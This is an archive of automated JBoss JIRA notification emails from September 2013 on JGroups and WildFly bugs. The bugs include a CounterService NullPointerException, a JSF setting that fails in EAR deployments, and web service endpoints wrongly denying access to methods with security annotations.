For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 06:30:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 06:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1702)
 org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,
 -1) causing NullPointerException in EAP6.1.1
In-Reply-To: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501038.1379607058000.38981.1379932203604@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1702?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806371#comment-12806371 ] 

Bela Ban commented on JGRP-1702:
--------------------------------

The NPE happens because the channel isn't yet connected at the time the counter is created. However, because a counter is associated with the node's address and the thread ID (the so-called *owner*), and the address is null, the NPE occurs.

I'm going to add code which checks that a channel is connected when creating a counter, and - if not - throw an IllegalStateException.

I know this won't help you, but since you already have a workaround, it should be fine. However, throwing an exception makes it clear that the counter service is used incorrectly (before having connected the channel).
                
> org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,-1) causing NullPointerException in EAP6.1.1
> --------------------------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1702
>                 URL: https://issues.jboss.org/browse/JGRP-1702
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>         Environment: JBOSS EAP 6.1.1 on Linux CentOS5
>            Reporter: Ramil Israfilov
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> WE were happyly using the counterService.getOrCreateCounter(counter, -1); API in the JBOSS 7.1.3 (JBOSS EAP 6.0.1),
> we tried to migrate to EAP 6.1.1 and got NullPointerException on that call
> Here is the stacktrace:
> Caused by: java.lang.NullPointerException
>         at org.jgroups.util.Owner.hashCode(Owner.java:52) [jgroups-3.2.10.Final-
> redhat-2.jar:3.2.10.Final-redhat-2]
>         at java.util.concurrent.ConcurrentHashMap.put(ConcurrentHashMap.java:882
> ) [rt.jar:1.6.0_26]
>         at org.jgroups.protocols.COUNTER.getOrCreateCounter(COUNTER.java:140) [j
> groups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
>         at org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(CounterSe
> rvice.java:34) [jgroups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
>         at com.alu.mdm.container.jboss.JBossContainerImpl.getOrCreateDistributed
> Counter(JBossContainerImpl.java:102) [:]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 06:38:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 06:38:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1702)
 org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,
 -1) causing NullPointerException in EAP6.1.1
In-Reply-To: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501038.1379607058000.39004.1379932684682@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1702?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1702.
----------------------------

    Resolution: Done

    
> org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,-1) causing NullPointerException in EAP6.1.1
> --------------------------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1702
>                 URL: https://issues.jboss.org/browse/JGRP-1702
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>         Environment: JBOSS EAP 6.1.1 on Linux CentOS5
>            Reporter: Ramil Israfilov
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> WE were happyly using the counterService.getOrCreateCounter(counter, -1); API in the JBOSS 7.1.3 (JBOSS EAP 6.0.1),
> we tried to migrate to EAP 6.1.1 and got NullPointerException on that call
> Here is the stacktrace:
> Caused by: java.lang.NullPointerException
>         at org.jgroups.util.Owner.hashCode(Owner.java:52) [jgroups-3.2.10.Final-
> redhat-2.jar:3.2.10.Final-redhat-2]
>         at java.util.concurrent.ConcurrentHashMap.put(ConcurrentHashMap.java:882
> ) [rt.jar:1.6.0_26]
>         at org.jgroups.protocols.COUNTER.getOrCreateCounter(COUNTER.java:140) [j
> groups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
>         at org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(CounterSe
> rvice.java:34) [jgroups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
>         at com.alu.mdm.container.jboss.JBossContainerImpl.getOrCreateDistributed
> Counter(JBossContainerImpl.java:102) [:]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 06:44:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 06:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1703) CheckFDMonitor.eval may be
	reversed
In-Reply-To: <JIRA.12501158.1379865036000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501158.1379865036000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501158.1379865036000.39032.1379933043848@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1703?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806380#comment-12806380 ] 

Bela Ban commented on JGRP-1703:
--------------------------------

I don't understand what you mean; can you elaborate ?
                
> CheckFDMonitor.eval may be reversed
> -----------------------------------
>
>                 Key: JGRP-1703
>                 URL: https://issues.jboss.org/browse/JGRP-1703
>             Project: JGroups
>          Issue Type: Bug
>         Environment: 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>            Priority: Minor
>             Fix For: 3.4
>
>
> When eval return true, the trigger method will be invoke.
> But the implemention in CheckFDMonitor:
> public boolean eval() {
> return sv.getView() != null && sv.getView().size() > 1 && !fd.isMonitorRunning();
> }
> It may be reversed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 06:51:09 2013
From: jira-events at lists.jboss.org (Gunnar Morling (JIRA))
Date: Mon, 23 Sep 2013 06:51:09 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1175) Remove EL JARs from Hibernate
 Validator module
In-Reply-To: <JIRA.12489906.1366372850000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489906.1366372850000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489906.1366372850000.39170.1379933469939@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1175?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806434#comment-12806434 ] 

Gunnar Morling commented on WFLY-1175:
--------------------------------------

Hi David, actually the [HV module|https://github.com/wildfly/wildfly/blob/master/build/src/main/resources/modules/system/layers/base/org/hibernate/validator/main/module.xml] doesn't provide the EL JARs itself but it depends on {{org.glassfish.javax.el}}, the EL 3 RI. So if this module is going to stay, the issue can be closed as out-dated.

Isn't {{javax.el.api}} the old JBoss EL 2 implementation? When [trying to depend|http://lists.jboss.org/pipermail/jboss-as7-dev/2013-April/008007.html] on that one back in April, it wouldn't work for all types of deployments. Later on, the EL 3 module mentioned above was added and using this did the trick.
                
> Remove EL JARs from Hibernate Validator module
> ----------------------------------------------
>
>                 Key: WFLY-1175
>                 URL: https://issues.jboss.org/browse/WFLY-1175
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>            Reporter: Gunnar Morling
>            Assignee: David Lloyd
>
> With AS7-6665 (Update of the Hibernate Validator module to HV 5), the Unified EL RI JARs were added to the HV module in order to satisfy the dependency to the EL API added as of HV5/BV 1.1. These module internal JARs should be removed once there is an AS module providing an EL implementation usable for all kinds of deployments.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:07:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 07:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1785) WAR_BUNDLES_JSF_IMPL does not
 work for EAR files
In-Reply-To: <JIRA.12497331.1374754962000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497331.1374754962000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497331.1374754962000.39230.1379934423531@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1785?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806448#comment-12806448 ] 

RH Bugzilla Integration commented on WFLY-1785:
-----------------------------------------------

Marek Schmidt <maschmid at redhat.com> changed the Status of [bug 991276|https://bugzilla.redhat.com/show_bug.cgi?id=991276] from ON_QA to VERIFIED
                
> WAR_BUNDLES_JSF_IMPL does not work for EAR files
> ------------------------------------------------
>
>                 Key: WFLY-1785
>                 URL: https://issues.jboss.org/browse/WFLY-1785
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF
>    Affects Versions: 8.0.0.Alpha3
>         Environment: Windows 7 Professional.  Service Pack 1. 32 Bit.
>            Reporter: William Lovett
>            Assignee: Stan Silvert
>            Priority: Minor
>             Fix For: 8.0.0.Alpha4
>
>
> Hello Learned and Astonishly Charming JBoss Associates,
> I've been trying for quite some time now to get my successfully deployed WAR to become a successfully deployed EAR.  Much to my chagrin, this has been my white whale, and it just might kill me.
> In a nutshell, the attached EAR file contains a WAR.  If you deploy that WAR file everything works smooth as butter.  As soon as you put it in an EAR format however, you get the following well placed riposte:
> 19:33:57,513 WARN  [org.jboss.as.jsf] (MSC service thread 1-2) JBAS012603: Unknown JSF version 'WAR_BUNDLES_JSF_IMPL'.  Default version 'main' will be used instead.
> Not cool, JBoss.  Not cool.
> I've tried moving the jars to different places in the WAR/EAR.  I've tried using Manifest files.  I've tried colorfully adorned four letter expletives.  JBoss is unmoved.  Does anyone know why JBoss is rejecting my JSF advances?  Can the relationship be fixed?
> Using EAP 6.1 which I believe is equivalent to AS 7.2.
> Thanks in advance,
> Will
> PS:  The forum didn't like me attaching a 1.8 meg file so here's a download link instead
> http://www.williverstravels.com/JDev/Forums/Threads/230850/TestEar.ear

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:09:03 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Nicky_M=C3=B8lholm_=28JIRA=29?=)
Date: Mon, 23 Sep 2013 07:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2129) @WebContext on EJB,
 results in Web Service endpoints that doesn't honor neither
 method-level authorization nor general authorization configuration
In-Reply-To: <JIRA.12501191.1379934448282@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501191.1379934448282@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501191.1379934448282.39235.1379934543464@jira02.app.mwc.hst.phx2.redhat.com>

Nicky M?lholm created WFLY-2129:
-----------------------------------

             Summary: @WebContext on EJB, results in Web Service endpoints that doesn't honor neither method-level authorization nor general authorization configuration
                 Key: WFLY-2129
                 URL: https://issues.jboss.org/browse/WFLY-2129
             Project: WildFly
          Issue Type: Bug
          Components: EJB, Web (JBoss Web), Web Services
    Affects Versions: 8.0.0.Alpha4
         Environment: Mac OS X
            Reporter: Nicky M?lholm
            Assignee: jaikiran pai


Using @WebContext on EJB Web service endpoints results in the following two "bugs":
- Normal EJB security annotations on methods are not honored
- The EJB container does not get a chance to honor the 'missing-method-permissions-deny-access' element in jboss-ejb3.xml, standalone.xml (etc) 

A simple EJB with a Web service view can illustrate the first problem: 
{code:java}
@Stateless 
@WebService 
@SecurityDomain("other")
@org.jboss.ws.api.annotation.WebContext(contextRoot = "/greeterCtx", urlPattern = "/Greeter", authMethod = "BASIC", secureWSDLAccess = false))
public class Greeter {

	@PermitAll // <-- This doesn't work
	//@RolesAllowed("SECRET_CLIENT_ROLE") // <-- Neither does this!
	// <--- unless you put them on class level 
    public String sayHello(String name) {
        System.out.println("******** Greeter.sayHello(" + name + ")");
        return "Hello " + name;
    }
}
{code}

So the problem here is that you are not allowed to invoke the Web Service operation (sayHello). Add to that a completely silent behavior. No stack traces. No trace logging. Nothing.
 
Now if you take this EJB and remove the @PermitAll (and @RolesAllowed if any) annotation. And if you specify 'false' in jboss-ejb3.xml#missing-method-permissions-deny-access. Then you are not allowed to call the EJB either.

These are my observations obtained from browsing through the source and playing around with the debugger:
- When you add the @WebContext(authMethod = "BASIC") annotation on an EJB, you effectively enable authorization logic in addition to authentication logic. This authorization code lives in Web container code (in code from the "jboss web" project). Not in the EJB container - which otherwise is responsible for honoring the @PermitAll, at DenyAll, at RolesAllowed annotations in addition to the 'missing-method-permissions-deny-access' element.
- This web layer code, silently rejects access to methods exposed through the EJB web service view, if there is no security annotations on the EJB bean class
You can put @RolesAllowed or @PermitAll on your EJB's web service view methods - but they are never honored by JBoss AS
-- ...But: if you put these annotations on your bean class, then access is granted as expected
- You can set 'missing-method-permissions-deny-access' to false (in JBoss AS' profile configuration file or the JBoss AS specific module DD file) - but it is never used by JBoss AS
 
Proposed solution:
If the upper Web container layer correctly can propagate the method invocation to the EJB container - then appropriate authorizations check will follow - and ultimately fixing these issues.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 07:13:03 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Nicky_M=C3=B8lholm_=28JIRA=29?=)
Date: Mon, 23 Sep 2013 07:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2129) @WebContext on EJB,
 results in Web Service endpoints that doesn't honor neither
 method-level authorization nor general authorization configuration
In-Reply-To: <JIRA.12501191.1379934448000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501191.1379934448000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501191.1379934448000.39243.1379934783549@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2129?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806451#comment-12806451 ] 

Nicky M?lholm commented on WFLY-2129:
-------------------------------------

Perhaps this issue is related?

https://issues.jboss.org/browse/WFLY-308


                
> @WebContext on EJB, results in Web Service endpoints that doesn't honor neither method-level authorization nor general authorization configuration
> --------------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2129
>                 URL: https://issues.jboss.org/browse/WFLY-2129
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB, Web (JBoss Web), Web Services
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Mac OS X
>            Reporter: Nicky M?lholm
>            Assignee: jaikiran pai
>
> Using @WebContext on EJB Web service endpoints results in the following two "bugs":
> - Normal EJB security annotations on methods are not honored
> - The EJB container does not get a chance to honor the 'missing-method-permissions-deny-access' element in jboss-ejb3.xml, standalone.xml (etc) 
> A simple EJB with a Web service view can illustrate the first problem: 
> {code:java}
> @Stateless 
> @WebService 
> @SecurityDomain("other")
> @org.jboss.ws.api.annotation.WebContext(contextRoot = "/greeterCtx", urlPattern = "/Greeter", authMethod = "BASIC", secureWSDLAccess = false))
> public class Greeter {
> 	@PermitAll // <-- This doesn't work
> 	//@RolesAllowed("SECRET_CLIENT_ROLE") // <-- Neither does this!
> 	// <--- unless you put them on class level 
>     public String sayHello(String name) {
>         System.out.println("******** Greeter.sayHello(" + name + ")");
>         return "Hello " + name;
>     }
> }
> {code}
> So the problem here is that you are not allowed to invoke the Web Service operation (sayHello). Add to that a completely silent behavior. No stack traces. No trace logging. Nothing.
>  
> Now if you take this EJB and remove the @PermitAll (and @RolesAllowed if any) annotation. And if you specify 'false' in jboss-ejb3.xml#missing-method-permissions-deny-access. Then you are not allowed to call the EJB either.
> These are my observations obtained from browsing through the source and playing around with the debugger:
> - When you add the @WebContext(authMethod = "BASIC") annotation on an EJB, you effectively enable authorization logic in addition to authentication logic. This authorization code lives in Web container code (in code from the "jboss web" project). Not in the EJB container - which otherwise is responsible for honoring the @PermitAll, at DenyAll, at RolesAllowed annotations in addition to the 'missing-method-permissions-deny-access' element.
> - This web layer code, silently rejects access to methods exposed through the EJB web service view, if there is no security annotations on the EJB bean class
> You can put @RolesAllowed or @PermitAll on your EJB's web service view methods - but they are never honored by JBoss AS
> -- ...But: if you put these annotations on your bean class, then access is granted as expected
> - You can set 'missing-method-permissions-deny-access' to false (in JBoss AS' profile configuration file or the JBoss AS specific module DD file) - but it is never used by JBoss AS
>  
> Proposed solution:
> If the upper Web container layer correctly can propagate the method invocation to the EJB container - then appropriate authorizations check will follow - and ultimately fixing these issues.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 07:15:05 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Mon, 23 Sep 2013 07:15:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2129) @WebContext on EJB,
 results in Web Service endpoints that doesn't honor neither
 method-level authorization nor general authorization configuration
In-Reply-To: <JIRA.12501191.1379934448000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501191.1379934448000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501191.1379934448000.39261.1379934905036@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2129?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

jaikiran pai updated WFLY-2129:
-------------------------------

       Assignee: Alessio Soldano  (was: jaikiran pai)
    Component/s:     (was: EJB)
                     (was: Web (JBoss Web))


Changing the component to WebServices since the discussion in the referenced thread indicates that this might be something to do with the WebServices integration part and that way the correct default assignee gets added.

                
> @WebContext on EJB, results in Web Service endpoints that doesn't honor neither method-level authorization nor general authorization configuration
> --------------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2129
>                 URL: https://issues.jboss.org/browse/WFLY-2129
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Services
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Mac OS X
>            Reporter: Nicky M?lholm
>            Assignee: Alessio Soldano
>
> Using @WebContext on EJB Web service endpoints results in the following two "bugs":
> - Normal EJB security annotations on methods are not honored
> - The EJB container does not get a chance to honor the 'missing-method-permissions-deny-access' element in jboss-ejb3.xml, standalone.xml (etc) 
> A simple EJB with a Web service view can illustrate the first problem: 
> {code:java}
> @Stateless 
> @WebService 
> @SecurityDomain("other")
> @org.jboss.ws.api.annotation.WebContext(contextRoot = "/greeterCtx", urlPattern = "/Greeter", authMethod = "BASIC", secureWSDLAccess = false))
> public class Greeter {
> 	@PermitAll // <-- This doesn't work
> 	//@RolesAllowed("SECRET_CLIENT_ROLE") // <-- Neither does this!
> 	// <--- unless you put them on class level 
>     public String sayHello(String name) {
>         System.out.println("******** Greeter.sayHello(" + name + ")");
>         return "Hello " + name;
>     }
> }
> {code}
> So the problem here is that you are not allowed to invoke the Web Service operation (sayHello). Add to that a completely silent behavior. No stack traces. No trace logging. Nothing.
>  
> Now if you take this EJB and remove the @PermitAll (and @RolesAllowed if any) annotation. And if you specify 'false' in jboss-ejb3.xml#missing-method-permissions-deny-access. Then you are not allowed to call the EJB either.
> These are my observations obtained from browsing through the source and playing around with the debugger:
> - When you add the @WebContext(authMethod = "BASIC") annotation on an EJB, you effectively enable authorization logic in addition to authentication logic. This authorization code lives in Web container code (in code from the "jboss web" project). Not in the EJB container - which otherwise is responsible for honoring the @PermitAll, at DenyAll, at RolesAllowed annotations in addition to the 'missing-method-permissions-deny-access' element.
> - This web layer code, silently rejects access to methods exposed through the EJB web service view, if there is no security annotations on the EJB bean class
> You can put @RolesAllowed or @PermitAll on your EJB's web service view methods - but they are never honored by JBoss AS
> -- ...But: if you put these annotations on your bean class, then access is granted as expected
> - You can set 'missing-method-permissions-deny-access' to false (in JBoss AS' profile configuration file or the JBoss AS specific module DD file) - but it is never used by JBoss AS
>  
> Proposed solution:
> If the upper Web container layer correctly can propagate the method invocation to the EJB container - then appropriate authorizations check will follow - and ultimately fixing these issues.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 07:17:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Mon, 23 Sep 2013 07:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2129) @WebContext on EJB,
 results in Web Service endpoints that doesn't honor neither
 method-level authorization nor general authorization configuration
In-Reply-To: <JIRA.12501191.1379934448000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501191.1379934448000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501191.1379934448000.39266.1379935023649@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2129?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

jaikiran pai updated WFLY-2129:
-------------------------------

    Component/s: EJB

    
> @WebContext on EJB, results in Web Service endpoints that doesn't honor neither method-level authorization nor general authorization configuration
> --------------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2129
>                 URL: https://issues.jboss.org/browse/WFLY-2129
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB, Web Services
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Mac OS X
>            Reporter: Nicky M?lholm
>            Assignee: Alessio Soldano
>
> Using @WebContext on EJB Web service endpoints results in the following two "bugs":
> - Normal EJB security annotations on methods are not honored
> - The EJB container does not get a chance to honor the 'missing-method-permissions-deny-access' element in jboss-ejb3.xml, standalone.xml (etc) 
> A simple EJB with a Web service view can illustrate the first problem: 
> {code:java}
> @Stateless 
> @WebService 
> @SecurityDomain("other")
> @org.jboss.ws.api.annotation.WebContext(contextRoot = "/greeterCtx", urlPattern = "/Greeter", authMethod = "BASIC", secureWSDLAccess = false))
> public class Greeter {
> 	@PermitAll // <-- This doesn't work
> 	//@RolesAllowed("SECRET_CLIENT_ROLE") // <-- Neither does this!
> 	// <--- unless you put them on class level 
>     public String sayHello(String name) {
>         System.out.println("******** Greeter.sayHello(" + name + ")");
>         return "Hello " + name;
>     }
> }
> {code}
> So the problem here is that you are not allowed to invoke the Web Service operation (sayHello). Add to that a completely silent behavior. No stack traces. No trace logging. Nothing.
>  
> Now if you take this EJB and remove the @PermitAll (and @RolesAllowed if any) annotation. And if you specify 'false' in jboss-ejb3.xml#missing-method-permissions-deny-access. Then you are not allowed to call the EJB either.
> These are my observations obtained from browsing through the source and playing around with the debugger:
> - When you add the @WebContext(authMethod = "BASIC") annotation on an EJB, you effectively enable authorization logic in addition to authentication logic. This authorization code lives in Web container code (in code from the "jboss web" project). Not in the EJB container - which otherwise is responsible for honoring the @PermitAll, at DenyAll, at RolesAllowed annotations in addition to the 'missing-method-permissions-deny-access' element.
> - This web layer code, silently rejects access to methods exposed through the EJB web service view, if there is no security annotations on the EJB bean class
> You can put @RolesAllowed or @PermitAll on your EJB's web service view methods - but they are never honored by JBoss AS
> -- ...But: if you put these annotations on your bean class, then access is granted as expected
> - You can set 'missing-method-permissions-deny-access' to false (in JBoss AS' profile configuration file or the JBoss AS specific module DD file) - but it is never used by JBoss AS
>  
> Proposed solution:
> If the upper Web container layer correctly can propagate the method invocation to the EJB container - then appropriate authorizations check will follow - and ultimately fixing these issues.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 07:17:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 07:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-21) NullPointerException when
 removing messages from non-existing queue
In-Reply-To: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489104.1365684721000.39270.1379935023855@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-21?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806454#comment-12806454 ] 

RH Bugzilla Integration commented on WFLY-21:
---------------------------------------------

Miroslav Novak <mnovak at redhat.com> changed the Status of [bug 928795|https://bugzilla.redhat.com/show_bug.cgi?id=928795] from ON_QA to VERIFIED
                
>  NullPointerException when removing messages from non-existing queue
> --------------------------------------------------------------------
>
>                 Key: WFLY-21
>                 URL: https://issues.jboss.org/browse/WFLY-21
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> {noformat}
> java.lang.NullPointerException
> 	at org.jboss.as.messaging.jms.JMSQueueControlHandler$1.removeMessages(JMSQueueControlHandler.java:78)
> 	at org.jboss.as.messaging.AbstractQueueControlHandler.executeRuntimeStep(AbstractQueueControlHandler.java:310)
> ...
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:17:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 07:17:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-21) NullPointerException when
 removing messages from non-existing queue
In-Reply-To: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489104.1365684721000.39273.1379935024022@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-21?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806455#comment-12806455 ] 

RH Bugzilla Integration commented on WFLY-21:
---------------------------------------------

Miroslav Novak <mnovak at redhat.com> made a comment on [bug 928795|https://bugzilla.redhat.com/show_bug.cgi?id=928795]

Verified in EAP 6.2.0.ER1. Thanks for the fix!
                
>  NullPointerException when removing messages from non-existing queue
> --------------------------------------------------------------------
>
>                 Key: WFLY-21
>                 URL: https://issues.jboss.org/browse/WFLY-21
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> {noformat}
> java.lang.NullPointerException
> 	at org.jboss.as.messaging.jms.JMSQueueControlHandler$1.removeMessages(JMSQueueControlHandler.java:78)
> 	at org.jboss.as.messaging.AbstractQueueControlHandler.executeRuntimeStep(AbstractQueueControlHandler.java:310)
> ...
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 07:17:04 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Mon, 23 Sep 2013 07:17:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2129) @WebContext on EJB,
 results in Web Service endpoints that doesn't honor neither
 method-level authorization nor general authorization configuration
In-Reply-To: <JIRA.12501191.1379934448000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501191.1379934448000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501191.1379934448000.39282.1379935024596@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2129?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806456#comment-12806456 ] 

jaikiran pai commented on WFLY-2129:
------------------------------------

{quote}
Perhaps this issue is related?

https://issues.jboss.org/browse/WFLY-308
{quote}

No, that's a different one AFAIK. The current behaviour that you are seeing is more of a bug where WS seems to think that those methods cannot be invoked.

                
> @WebContext on EJB, results in Web Service endpoints that doesn't honor neither method-level authorization nor general authorization configuration
> --------------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2129
>                 URL: https://issues.jboss.org/browse/WFLY-2129
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB, Web Services
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Mac OS X
>            Reporter: Nicky M?lholm
